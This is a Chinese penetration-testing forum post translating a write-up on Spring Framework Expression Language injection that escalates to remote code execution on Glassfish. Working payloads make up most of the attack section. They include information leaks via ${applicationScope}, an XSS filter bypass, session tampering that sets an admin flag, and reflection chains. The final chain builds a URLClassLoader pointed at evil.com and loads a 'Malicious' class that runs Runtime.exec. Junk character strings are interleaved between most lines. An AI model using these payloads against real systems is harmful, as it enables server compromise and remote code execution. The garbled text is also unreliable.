中国网络渗透测试联盟
标题:
spring-远程代码注入
[打印本页]
作者:
admin
时间:
2013-2-16 21:47
标题:
spring-远程代码注入
Remote Code with
( K+ A( O1 }: i% ^
Expression Language Injection
1 m. X8 `% X# |$ \: Q$ W7 m
Spring Framework脆弱性—DanAmodio
! p! c$ `. P% k9 P' E& `5 R5 V) l) F
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
- f9 T) o! m g" E
可能会存在风险。
. a' _- F# R$ W
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
+ m* k6 b: J* t! m
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
1 O3 J( M- V) m' {: e" T! B: Y
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
% r2 _4 u$ j$ O) h- F
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
9 i4 _6 d+ H7 k% ]3 D: q
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
1 ^3 G8 e0 D- _; d0 ]2 A7 \
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
! r g) ]# Y# D/ P
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
d! R6 ~' }4 j7 Y% d2 \- p
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
! L! ~# d( Z2 E5 t+ M
这些版本不支持禁用double EL resolution.
0 V5 G+ k$ b) T6 \
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
3 A9 K8 m3 S! u5 f& \9 }
EL2.2容器上可能进行远程代码执行。
9 N% v# M. @3 m8 z. A
这是一个原始信息泄露的攻击例子:
1 E/ z N3 i, U" m
请求:
& Q% n% t: y" b b$ T$ Q
ttp://vulnerable.com/foo?message=${applicationScope}
# N1 E2 N' ^+ `) Y3 e5 E# a' f
到达以下内容页面:
2 n" e$ s3 i9 s/ j5 {, L
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
' @3 e* V2 K) M4 L* W" i
你也可以做一些其他事情,如这样:
Y7 n7 [( _$ ~) t8 Z9 K/ V
${9999+1}
! u, J$ g) L" n& c/ M( K
还可以访问session 对象和beans
3 z* Z3 ~$ p& `3 |& k. n9 a8 c
${employee.lastName}
: g8 S% p8 d7 F: B; u9 F# [4 L
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
& O6 v% E5 S) U3 {
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
' i; Z; e1 v& ~- m* v
西,比如XSS.
) [5 b4 \# G" V- @
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
5 T, \; T7 ^. @& C
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
4 X7 r# Y1 H) X/ ?
呢?”
Y' l& b. {% m# Q- G8 Q
因此,我尝试巳缦拢�
3 |; N& P4 k' d1 E5 v$ I( K
http://vulnerable.com/app?code=
${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
2 O+ \3 F5 y# U% l& e6 X/ [7 O' j
P
5 G+ I2 G6 ^" Z5 _7 k( l
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
# T1 v. u: l+ T. F! z2 t- J
回的文本被插入进了spring:message 标签。
3 B- j& {- ]* `) l I, G
这里是一个最终绕过过滤的实例:
' T% R- H& `' d# l7 n! ~
http://vulnerable.com/app?code=
${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)
/scriptQ
+ f% W# x' N+ v0 W' |9 w- b
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
! C; g: y( H+ U' f0 r8 w& b# W: |
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
' t' Z; r: A+ A9 }0 o+ e
经过一番研究,我学习到EL2.2 增加了方法调用。
5 z3 e% N9 }( G2 y% R
我写了一个快速测试应用程序代码并且检测一些功能
+ x9 ^9 F) h [
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
5 s" k9 j) b2 I" t! N$ d5 ~
${pageContext.request.getSession().setAttribute(“admin”,true)}
2 A0 g' e$ m1 t% }* H8 m
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
6 _6 ^$ L/ ]9 l/ Q8 I+ Y% b
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
1 J; O) i: ]: V3 I
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
! Y; U0 }4 S/ P. M# a
“, 1234)}
8 s4 y# w& l9 C* m* C# S
${“”.getClass().forName(“java.lang.Runtime”)}
/ L4 L; }6 B. J5 t/ Q1 W
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
+ a3 E8 p" M1 [% X6 s9 f
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
* v" C4 j8 w9 }" V
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
0 y7 e- P& \7 {. N3 ]* S
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
8 U6 s- p& e1 l" e2 p
方法签名invoke(Object obj, Object„ args)
* g- F& R$ q' t2 j: G- \) {
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
9 C7 N* m7 X) [ n5 l
题,以让它可以工作起来。
9 w1 \4 P) Y" n% T, R# s1 v+ ^
漏洞利用:
% c4 ~2 D7 G' G% i
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
3 |9 f. ]& P6 C& ?$ r0 Q, W/ c
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
- v2 X( Z3 t& [$ B3 `, G9 w
这里有一些我试过的失败的用例,为了试图让它工作的用例:
8 W: v! p Y# I2 L! v; c! @# V
写文件到文件系统
7 E8 |0 J8 `9 A$ a
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
, h" m5 M# q: L3 G. X7 h6 v/ T5 l
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
( n6 ^; l' J! G0 _: A
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
$ V3 D5 N; j7 ^: F4 U3 {2 n& p* [
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
0 i2 R8 v# l: }# {9 ?
org.springframework.expression.spel.standard.SpelExpressionParser not found
6 H5 b3 f7 x) i! F. U; O! y0 i% ~4 `
by
8 z, M. E' Y, b+ T5 W0 F
org.glassfish.web.javax.servlet.jsp [194].
: h; Z- [, ~! @& Q# m; \1 o
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
/ z/ M B8 e( q
利用反射来创建一个新的Runtime(and watch the world burn)
2 Z/ E' G- a4 W5 P
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
7 Z+ [" i7 S* a0 c$ T
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
/ G( J7 ?0 N; D& N" v" H# q
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
' m0 i; _7 \, c4 n9 [, t& n
使用java.lang.ProcessBuilder
% _0 ~) A8 r( M0 }. Z
用表达式语言来评估表达式语言
2 z! _3 `4 x/ F
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
4 f$ i* z7 Q* W
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
. I, w k2 Q L( O5 T! d5 }( H
“,”".getClass(),null)}
) l. S- v* N; p* T* o, R9 l
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
" c1 }' Q( B8 v, ~' P: T2 d
我在使用一个空数组通过Method.invoke()时失败了很多次
: a* L, J9 Z0 N& L: [
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
! y, h9 P( A2 D3 M# a
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
% ~# t* l$ g3 R& i
rrayList”).newInstance().toArray())
8 T3 r* v" a, X
java.lang.IllegalArgumentException: wrong number of arguments
) Q1 v1 Q9 W/ Y5 J
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
2 o( Y( G3 l. g( C) \; R% t
以创建一个恶意class文件并且指向类装载器.
: d! j. k& X' l3 A
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
) J& L; V- R# [6 u9 E
public class Malicious {
$ v' z$ w' h" R" H: E: z* q" \
public Malicious() {
) c7 g4 z3 U$ g( }& G5 s
try {
2 H6 }) ^: M# ]! [+ G* F
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
& {) d; s+ E# ^3 ^
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
w2 J/ f9 y0 r9 a2 X F, K6 f
} catch (Exception e) {
, C) c. G" \ ^0 {7 C3 {
}
4 d, j: R& W( w( O& m, P3 K5 e
}
: g. ]: z! `+ y: {- y
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
( W J5 B* Q+ s+ w1 E' U
话中,因此它可以被使用.
' q J5 ?/ m! g0 ] h( w6 s
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
( q4 V5 `0 j/ g- y& M
(“java.util.ArrayList”).newInstance())}
9 X" V8 e4 s. m5 `1 I
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
8 b. c. Q1 S, r4 K. f1 ~8 W/ F
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
( s+ P6 ~+ j% X$ v
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
& x- d- R9 J+ ?* l2 {: _3 w* A' v
我们可以调用的create(string)方法,然后转换对一个URL对象。
" o$ F1 {( r! z+ j" f; g Z
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“
http://evil.com/path/to/wh
3 D2 B0 P" `5 z! J9 n
ere/malicious/classfile/is/located/”).toURL())}
+ m) Z: N: b6 ?4 v; P" o) b
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
4 B; E# @# I( t( t& t& K
恶意类文件被装载并创建,触发远程代码.
2 g, ^5 H" k; K% r' s. r4 I
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
' [+ |' O* J" p/ b! X" G
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
3 O0 U# J0 ?% W0 r& G! h
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
8 K7 _, I* {! t) `0 c3 ^& s
()}
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2